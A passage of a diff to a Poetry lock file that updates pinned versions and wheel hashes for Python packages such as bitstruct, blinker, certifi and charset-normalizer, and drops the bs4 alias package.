"beautifulsoup4-4.13.3.tar.gz", hash = "sha256:1bd32405dacc920b42b83ba01644747ed77456a65760e285fbc47633ceddaf8b"}, ] [package.dependencies] soupsieve = ">1.2" +typing-extensions = ">=4.0.0" [package.extras] cchardet = ["cchardet"] @@ -294,67 +299,73 @@ lxml = ["lxml"] [[package]] name = "bitstruct" -version = "8.19.0" +version = "8.20.0" description = "This module performs conversions between Python values and C bit field structs represented as Python byte strings." optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "bitstruct-8.19.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7d1f3eb18ddc33ba73f5cbb55c885584bcec51c421ac3551b79edc0ffeaecc3d"}, - {file = "bitstruct-8.19.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a35e0b267d12438e6a7b28850a15d4cffe767db6fc443a406d0ead97fa1d7d5b"}, - {file = "bitstruct-8.19.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5732aff5c8eb3a572f7b20d09fc4c213215f9e60c0e66f2910b31eb65b457744"}, - {file = "bitstruct-8.19.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:bc8f1871b42b705eb34b8722c3ec358fbf1b97fd37a62693564ee72648afb100"}, - {file = "bitstruct-8.19.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:01bdfc3adbe15b05ba27ab6dce7959caa29a000f066201944b29c64bb8888f03"}, - {file = "bitstruct-8.19.0-cp310-cp310-win32.whl", hash = "sha256:961845a29333119b70dd9aab54bc714bf9ba5efefc55cb4c747c35c1390b8842"}, - {file = "bitstruct-8.19.0-cp310-cp310-win_amd64.whl", hash = "sha256:9fbe12d464db909f58d5e2a2485b3047a488fa1373e8f74b22d6759ee6b2437a"}, - {file = "bitstruct-8.19.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1300cd635814e40b1f4105aa4f404cb5d1b8cc54e06e267ba1616725f9c2beea"}, - {file = "bitstruct-8.19.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2fb23b5973ce1e9f349c4dc90873eeff9800fe917ffd345f39b9b964f6d119"}, - {file = "bitstruct-8.19.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:59e0c18d557474d8452c4f8b59320fd4d9efcf52eae2144bdf317d25c64dcf85"}, - {file = "bitstruct-8.19.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:bba06607f956cc39ceee19fd11b542e8e66a43180d48fa36c4609443893c273e"}, - {file = "bitstruct-8.19.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f2fa607d111077145e6374d49be6098f33e7cee0967b42cfc117df53eee13332"}, - {file = "bitstruct-8.19.0-cp311-cp311-win32.whl", hash = "sha256:abdb7bdb5b04c2f1bbda0eae828c627252243ddc042aea6b72af8fcc63696598"}, - {file = "bitstruct-8.19.0-cp311-cp311-win_amd64.whl", hash = "sha256:464f102999402a2624ee3106dbfa1f3745810036814a33e6bc706b7d312c480f"}, - {file = "bitstruct-8.19.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:55768b1f5e33594178f0b3e1596b89d831b006713a60caa09de61fd385bf22b1"}, - {file = "bitstruct-8.19.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c026a7cf8d954ef53cf4d0ae5ee3dd1ac66e24e9a474c5afe55467ab7d609f2e"}, - {file = "bitstruct-8.19.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7488fd4e2fde3d8111971e2040cd5b008be918381afc80387d3fdf047c801293"}, - {file = "bitstruct-8.19.0-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:45b66e20633f1e083e37fa396c81761e0fc688ffa06ff5559e990e37234f9e18"}, - {file = "bitstruct-8.19.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:9c1542d5ae888ebc31614775938bfd13454f0d897dc2515363a4607efadc990b"}, - {file = "bitstruct-8.19.0-cp312-cp312-win32.whl", hash = "sha256:7ea57e4e793b595cd3e037920852f2c676b4f5f1734c41985db3f48783928e2c"}, - {file = "bitstruct-8.19.0-cp312-cp312-win_amd64.whl", hash = "sha256:1c4d9b75248adee84e7e6c95bf95966f152b78363cb20a81920da2aeadc4375f"}, - {file = "bitstruct-8.19.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:7b4745b099d3d85307495e25ff0f265deeea675621dcecb25ba059ee68ce88d5"}, - {file = "bitstruct-8.19.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:645da560acd20dd73a1ef220e3ddc08e108866e30a708ef2f6193e0a3725113e"}, - {file = "bitstruct-8.19.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:01402fbc3dba2286b3ac9b74d5936dd984736f928aacd371458a4b0cf95f0755"}, - {file = "bitstruct-8.19.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:2c5eda42d55db67072c6cf7cc79b1df1074269004bad119b79e4ad38cfa61877"}, - {file = "bitstruct-8.19.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:2ea093522b12ce714a3a95851a8c3dd97f620126bbe983eb261b3bf18ac945e7"}, - {file = "bitstruct-8.19.0-cp37-cp37m-win32.whl", hash = "sha256:da00da004830800323554e7a83f1f32a1f49345f5379476de4b5f6ae227ee962"}, - {file = "bitstruct-8.19.0-cp37-cp37m-win_amd64.whl", hash = "sha256:a0ca55fba25d6c631e17933f20cf87f553d7bceec7659e3de9ef48dc85ced2bf"}, - {file = "bitstruct-8.19.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:d3f6e3aeb598215062c505a06135fbdfa3bb4eeb249b55f87e865a86b3fd9e99"}, - {file = "bitstruct-8.19.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:df74c72feba80014b05ab6f1e1a0bb90be9f9e7eb60a9bab1e00728f7f46d79d"}, - {file = "bitstruct-8.19.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:976c39ad771c6773d6fbd14d71e62242d5b3bca7b72428fd183e1f1085d5e858"}, - {file = "bitstruct-8.19.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:d2c176ff6727206805760f45c2151468aed843256aa239c14f4730b9e1d84fc7"}, - {file = "bitstruct-8.19.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:d7774e2a51e254ef1ba98a1ee38573c819d4ee7e396d5121c5ecae17df927501"}, - {file = "bitstruct-8.19.0-cp38-cp38-win32.whl", hash = "sha256:b86d192d658eaf35f10efb2e1940ec755cc28e081f46de294a2e91a74ea298aa"}, - {file = "bitstruct-8.19.0-cp38-cp38-win_amd64.whl", hash = "sha256:5e7f78aedec2881017026eb7f7ab79514aef09a24afd8acf5fa8c73b1cd0e9f4"}, - {file = "bitstruct-8.19.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2bb49acc2ccc6efd3c9613cae8f7e1316c92f832bff860a6fcb78a4275974e90"}, - {file = "bitstruct-8.19.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7bed7b2761c18a515298145a4f67b6c71ce302453fe7d87ec6b7d2e77fd3c22b"}, - {file = "bitstruct-8.19.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8d0cafd2e2974c4bbe349fb67951d43d221ea304218c2ee65f9fe4c62acabc2f"}, - {file = "bitstruct-8.19.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:d9ba0299f624e7c8ea1eec926fc77741f82ffc5b3c3ba4f89303d33d5605f4d8"}, - {file = "bitstruct-8.19.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:bfa0326057c9b02c4e65e74e45b9914a7f8c59590a8e718e20a899a02b41f2e6"}, - {file = "bitstruct-8.19.0-cp39-cp39-win32.whl", hash = "sha256:14c3ebdec92c486142327d934cb451d96b411543ec6f72aeb2b4b4334e9408bf"}, - {file = "bitstruct-8.19.0-cp39-cp39-win_amd64.whl", hash = "sha256:7836852d5c15444e87a2029f922b48717e6e199d2332d55e8738e92d8590987e"}, - {file = "bitstruct-8.19.0.tar.gz", hash = "sha256:d75ba9dded85c17e885a209a00eb8e248ee40762149f2f2a79360ca857467dac"}, + {file = "bitstruct-8.20.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7a33169c25eef4f923f8a396ef362098216f527e83e44c7e726c126c084944ab"}, + {file = "bitstruct-8.20.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7fec9cff575cdd9dafba9083fa8446203f32c7112af7a6748f315f974dcd418"}, + {file = "bitstruct-8.20.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:08835ebed9142babc39885fc0301f45fae9de7b1f3e78c1e3b4b5c2e20ff8d38"}, + {file = "bitstruct-8.20.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:2b1735a9ae5ff82304b9f416051e986e3bffa76bc416811d598ee3e8e9b1f26c"}, + {file = "bitstruct-8.20.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9962bccebee15ec895fa8363ad4391e5314ef499b3e96af7d8ef6bf6e2f146ce"}, + {file = "bitstruct-8.20.0-cp310-cp310-win32.whl", hash = "sha256:5f3c88ae5d4e329cefecc66b18269dc27cd77f2537a8d506b31f8b874225a5cc"}, + {file = "bitstruct-8.20.0-cp310-cp310-win_amd64.whl", hash = "sha256:98640aeb709b67dcea79da7553668b96e9320ee7a11639c3fe422592727b1705"}, + {file = "bitstruct-8.20.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3be9192bff6accb6c2eb4edd355901fed1e64cc50de437015ee1469faab436a4"}, + {file = "bitstruct-8.20.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f9a2634563ed9c7229b0c6938a332b718e654f0494c2df87ee07f8074026ee68"}, + {file = "bitstruct-8.20.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4cf892b3c95393772eea4ab2a0e4ea2d7ec45742557488727bd6bfdd1d1e5007"}, + {file = "bitstruct-8.20.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:fc4a841126e2d89fd3ef579c2d8b02f8af31b5973b947afb91450ae8adf5caa4"}, + {file = "bitstruct-8.20.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0fbf434f70f827318f2aaa68c6cf2fde58ab34a5ab1c6d9f0f4b9f953f058584"}, + {file = "bitstruct-8.20.0-cp311-cp311-win32.whl", hash = "sha256:0b0444a713f4f7e13927427e9ff5ed73bb4223c8074141adfc3e0bfbe63e092d"}, + {file = "bitstruct-8.20.0-cp311-cp311-win_amd64.whl", hash = "sha256:8271b3851657fe1066cb04ddc30e14a8492bdd18fa287514506af0801babd494"}, + {file = "bitstruct-8.20.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5df3ce5f4dd517be68e4b2d8ab37a564e12d5e24ec29039a3535281174a75284"}, + {file = "bitstruct-8.20.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac0bb940fa9238c05796d45fb957ddf2e10d82ee8fd8cd43c5e367a9c380b24c"}, + {file = "bitstruct-8.20.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:73eb7f0b6031c7819c12412c71af07cfac036da22a9245b7a1669a1f11fe1220"}, + {file = "bitstruct-8.20.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:ea7b64a444bf592712593a9f3bf1cb37588fae257aeb40d2ea427e17ef3d690c"}, + {file = "bitstruct-8.20.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c4dad0231810bc3ef4e5154d6d6f7d62cc3efe2b9e9e6126002f105297284af3"}, + {file = "bitstruct-8.20.0-cp312-cp312-win32.whl", hash = "sha256:8ca1cc21ae72bbefee4471054e6a993b74f4571716eded73c3d3b6280dc831fd"}, + {file = "bitstruct-8.20.0-cp312-cp312-win_amd64.whl", hash = "sha256:b3732bed3c8b190dee071c2222304ef668f665fbdbeef19c9aeed50fbe1a3d48"}, + {file = "bitstruct-8.20.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b62fab3f38c09f5d61c83559cfc495b56de6dc424c3ccb1ff9f93457975b8c25"}, + {file = "bitstruct-8.20.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c4df55aea3bf5c1970174191f04f575d657515b2ff26582e7a6475937b4e8176"}, + {file = "bitstruct-8.20.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f44afbce27ca0bd3fa96630c7a240bff167a7b66c05ac12ba9147ec001eee531"}, + {file = "bitstruct-8.20.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3c3d19f85935613a7db42f0e848e278d33ed2b18629dd5cc0e391d0ee8ddb54b"}, + {file = "bitstruct-8.20.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d3f29bb701916a8bb885ccc0de77c6c4b3eaf81652916b3d0bcd7dd9ebdab799"}, + {file = "bitstruct-8.20.0-cp313-cp313-win32.whl", hash = "sha256:a09f81cdeec264349a6e65597329a1cee461218b870f8113848126c2c6729025"}, + {file = "bitstruct-8.20.0-cp313-cp313-win_amd64.whl", hash = "sha256:31e33cc7db403cd2441d4d1968c57334b2489ffe123cfc30d26eedf11063288e"}, + {file = "bitstruct-8.20.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:462f27fed30322c24007641ec2f2413a4778f564b30b45e3265f689cd84d43d7"}, + {file = "bitstruct-8.20.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7c547a2cba2a94076dec3ef72229be641bbc320cb676a028db45202abb405b02"}, + {file = "bitstruct-8.20.0-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:aff38098efc9c6cbba8cd3f2b37aa8bf6169e3a53be2ec21c1c3166bdeae22d0"}, + {file = "bitstruct-8.20.0-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:31c64bf7ebda6d046fc3909287a6f7adcbbc1d1e50e463e3239798558f24bcfa"}, + {file = "bitstruct-8.20.0-cp37-cp37m-win32.whl", hash = "sha256:67e9b21a3a5ca247e31168a81da94a27763e7a34c80c847d9266209ec70294c2"}, + {file = "bitstruct-8.20.0-cp37-cp37m-win_amd64.whl", hash = "sha256:215acf2ecc2a65dcf4dec79d8e6ad98792d4ef4ae0b02aaf6b0dd678a6c11d02"}, + {file = "bitstruct-8.20.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:9dcbccadba78c9b3170db967a8559500e3eca821cd9f101a76c087cf01e1cdbd"}, + {file = "bitstruct-8.20.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c6232fdf18689406369810a448181e9a2936f9d22707918394fc0cf5334c9fc1"}, + {file = "bitstruct-8.20.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7fe8c959beb3b9471bedc3af01467cedede72f2cf65614aa69a6651684926c4e"}, + {file = "bitstruct-8.20.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:2adcd545a8f8a90a2e84a21edc5763f3d3832ebddb7cc687b7650221cddfc19a"}, + {file = "bitstruct-8.20.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:b3a4f0e443a9b4171b648b52c3003064cf31113f6203e08dc4ac225601d9249b"}, + {file = "bitstruct-8.20.0-cp38-cp38-win32.whl", hash = "sha256:5618eaab857db6dafa26751af5b8c926541ce578f36608e50fa687127682af3c"}, + {file = "bitstruct-8.20.0-cp38-cp38-win_amd64.whl", hash = "sha256:3eb8de0ad891b716ed97430e8b8603b6d875c5ddc5ebcd9c5288099c773a6bc9"}, + {file = "bitstruct-8.20.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1a063deb6b7b07906414ac460c807e483b6eea662abcb406c4ea6e2938c8fc21"}, + {file = "bitstruct-8.20.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0528f8da4cf919a3d4801603c4e5fc601b72b86955d37c51c8d7ddc69f291f0c"}, + {file = "bitstruct-8.20.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ac783d0bc7c57bee2c8f8cda4c83d60236e7c046f6f454e76943f9e0fb16112"}, + {file = "bitstruct-8.20.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:a0482f8e2b73df16d080d5d8df23e2949c114e27acfeb659f0465ef8ce1da038"}, + {file = "bitstruct-8.20.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:f6cc949e8030303b05728294b4feaca8c955150dd5042f66467da1dd18ff3410"}, + {file = "bitstruct-8.20.0-cp39-cp39-win32.whl", hash = "sha256:3e5195cfe68952587a2fcb621b2ee766e78f5d2d5a1e94204ac302e3d3f441bc"}, + {file = "bitstruct-8.20.0-cp39-cp39-win_amd64.whl", hash = "sha256:a7109b454a8cccc55e88165a903e5d9980e39f6f5268dc5ec5386ae96a89ff1b"}, + {file = "bitstruct-8.20.0.tar.gz", hash = "sha256:f6b16a93097313f2a6c146640c93e5f988a39c33364f8c20a4286ac1c5ed5dae"}, ] [[package]] name = "blinker" -version = "1.8.2" +version = "1.9.0" description = "Fast, simple object-to-object and broadcast signaling" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "blinker-1.8.2-py3-none-any.whl", hash = "sha256:1779309f71bf239144b9399d06ae925637cf6634cf6bd131104184531bf67c01"}, - {file = "blinker-1.8.2.tar.gz", hash = "sha256:8f77b09d3bf7c795e969e9486f39c2c5e9c39d4ee07424be2bc594ece9642d83"}, + {file = "blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc"}, + {file = "blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf"}, ] [[package]] @@ -376,31 +387,16 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" pyasn1 = ">=0.4" pycryptodome = "*" -[[package]] -name = "bs4" -version = "0.0.2" -description = "Dummy package for Beautiful Soup (beautifulsoup4)" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "bs4-0.0.2-py2.py3-none-any.whl", hash = "sha256:abf8742c0805ef7f662dce4b51cca104cffe52b835238afc169142ab9b3fbccc"}, - {file = "bs4-0.0.2.tar.gz", hash = "sha256:a48685c58f50fe127722417bae83fe6badf500d54b55f7e39ffe43b798653925"}, -] - -[package.dependencies] -beautifulsoup4 = "*" - [[package]] name = "certifi" -version = "2024.8.30" +version = "2025.1.31" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "certifi-2024.8.30-py3-none-any.whl", hash = "sha256:922820b53db7a7257ffbda3f597266d435245903d80737e34f8a45ff3e3230d8"}, - {file = "certifi-2024.8.30.tar.gz", hash = "sha256:bec941d2aa8195e248a60b31ff9f0558284cf01a52591ceda73ea9afffd69fd9"}, + {file = "certifi-2025.1.31-py3-none-any.whl", hash = "sha256:ca78db4565a652026a4db2bcdf68f2fb589ea80d0be70e03929ed730746b84fe"}, + {file = "certifi-2025.1.31.tar.gz", hash = "sha256:3d5da6925056f6f18f119200434a4780a94263f10d1c21d032a6f6b2baa20651"}, ] [[package]] @@ -485,129 +481,116 @@ pycparser = "*" [[package]] name = "charset-normalizer" -version = "3.4.0" +version = "3.4.1" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." optional = false -python-versions = ">=3.7.0" +python-versions = ">=3.7" groups = ["main"] files = [ - {file = "charset_normalizer-3.4.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:4f9fc98dad6c2eaa32fc3af1417d95b5e3d08aff968df0cd320066def971f9a6"}, - {file = "charset_normalizer-3.4.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0de7b687289d3c1b3e8660d0741874abe7888100efe14bd0f9fd7141bcbda92b"}, - {file = "charset_normalizer-3.4.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5ed2e36c3e9b4f21dd9422f6893dec0abf2cca553af509b10cd630f878d3eb99"}, - {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40d3ff7fc90b98c637bda91c89d51264a3dcf210cade3a2c6f838c7268d7a4ca"}, - {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1110e22af8ca26b90bd6364fe4c763329b0ebf1ee213ba32b68c73de5752323d"}, - {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:86f4e8cca779080f66ff4f191a685ced73d2f72d50216f7112185dc02b90b9b7"}, - {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7f683ddc7eedd742e2889d2bfb96d69573fde1d92fcb811979cdb7165bb9c7d3"}, - {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:27623ba66c183eca01bf9ff833875b459cad267aeeb044477fedac35e19ba907"}, - {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f606a1881d2663630ea5b8ce2efe2111740df4b687bd78b34a8131baa007f79b"}, - {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0b309d1747110feb25d7ed6b01afdec269c647d382c857ef4663bbe6ad95a912"}, - {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:136815f06a3ae311fae551c3df1f998a1ebd01ddd424aa5603a4336997629e95"}, - {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:14215b71a762336254351b00ec720a8e85cada43b987da5a042e4ce3e82bd68e"}, - {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:79983512b108e4a164b9c8d34de3992f76d48cadc9554c9e60b43f308988aabe"}, - {file = "charset_normalizer-3.4.0-cp310-cp310-win32.whl", hash = "sha256:c94057af19bc953643a33581844649a7fdab902624d2eb739738a30e2b3e60fc"}, - {file = "charset_normalizer-3.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:55f56e2ebd4e3bc50442fbc0888c9d8c94e4e06a933804e2af3e89e2f9c1c749"}, - {file = "charset_normalizer-3.4.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0d99dd8ff461990f12d6e42c7347fd9ab2532fb70e9621ba520f9e8637161d7c"}, - {file = "charset_normalizer-3.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c57516e58fd17d03ebe67e181a4e4e2ccab1168f8c2976c6a334d4f819fe5944"}, - {file = "charset_normalizer-3.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6dba5d19c4dfab08e58d5b36304b3f92f3bd5d42c1a3fa37b5ba5cdf6dfcbcee"}, - {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bf4475b82be41b07cc5e5ff94810e6a01f276e37c2d55571e3fe175e467a1a1c"}, - {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ce031db0408e487fd2775d745ce30a7cd2923667cf3b69d48d219f1d8f5ddeb6"}, - {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ff4e7cdfdb1ab5698e675ca622e72d58a6fa2a8aa58195de0c0061288e6e3ea"}, - {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3710a9751938947e6327ea9f3ea6332a09bf0ba0c09cae9cb1f250bd1f1549bc"}, - {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:82357d85de703176b5587dbe6ade8ff67f9f69a41c0733cf2425378b49954de5"}, - {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47334db71978b23ebcf3c0f9f5ee98b8d65992b65c9c4f2d34c2eaf5bcaf0594"}, - {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:8ce7fd6767a1cc5a92a639b391891bf1c268b03ec7e021c7d6d902285259685c"}, - {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:f1a2f519ae173b5b6a2c9d5fa3116ce16e48b3462c8b96dfdded11055e3d6365"}, - {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:63bc5c4ae26e4bc6be6469943b8253c0fd4e4186c43ad46e713ea61a0ba49129"}, - {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:bcb4f8ea87d03bc51ad04add8ceaf9b0f085ac045ab4d74e73bbc2dc033f0236"}, - {file = "charset_normalizer-3.4.0-cp311-cp311-win32.whl", hash = "sha256:9ae4ef0b3f6b41bad6366fb0ea4fc1d7ed051528e113a60fa2a65a9abb5b1d99"}, - {file = "charset_normalizer-3.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:cee4373f4d3ad28f1ab6290684d8e2ebdb9e7a1b74fdc39e4c211995f77bec27"}, - {file = "charset_normalizer-3.4.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0713f3adb9d03d49d365b70b84775d0a0d18e4ab08d12bc46baa6132ba78aaf6"}, - {file = "charset_normalizer-3.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:de7376c29d95d6719048c194a9cf1a1b0393fbe8488a22008610b0361d834ecf"}, - {file = "charset_normalizer-3.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:4a51b48f42d9358460b78725283f04bddaf44a9358197b889657deba38f329db"}, - {file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b295729485b06c1a0683af02a9e42d2caa9db04a373dc38a6a58cdd1e8abddf1"}, - {file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ee803480535c44e7f5ad00788526da7d85525cfefaf8acf8ab9a310000be4b03"}, - {file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3d59d125ffbd6d552765510e3f31ed75ebac2c7470c7274195b9161a32350284"}, - {file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8cda06946eac330cbe6598f77bb54e690b4ca93f593dee1568ad22b04f347c15"}, - {file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:07afec21bbbbf8a5cc3651aa96b980afe2526e7f048fdfb7f1014d84acc8b6d8"}, - {file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6b40e8d38afe634559e398cc32b1472f376a4099c75fe6299ae607e404c033b2"}, - {file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:b8dcd239c743aa2f9c22ce674a145e0a25cb1566c495928440a181ca1ccf6719"}, - {file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:84450ba661fb96e9fd67629b93d2941c871ca86fc38d835d19d4225ff946a631"}, - {file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:44aeb140295a2f0659e113b31cfe92c9061622cadbc9e2a2f7b8ef6b1e29ef4b"}, - {file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:1db4e7fefefd0f548d73e2e2e041f9df5c59e178b4c72fbac4cc6f535cfb1565"}, - {file = "charset_normalizer-3.4.0-cp312-cp312-win32.whl", hash = "sha256:5726cf76c982532c1863fb64d8c6dd0e4c90b6ece9feb06c9f202417a31f7dd7"}, - {file = "charset_normalizer-3.4.0-cp312-cp312-win_amd64.whl", hash = 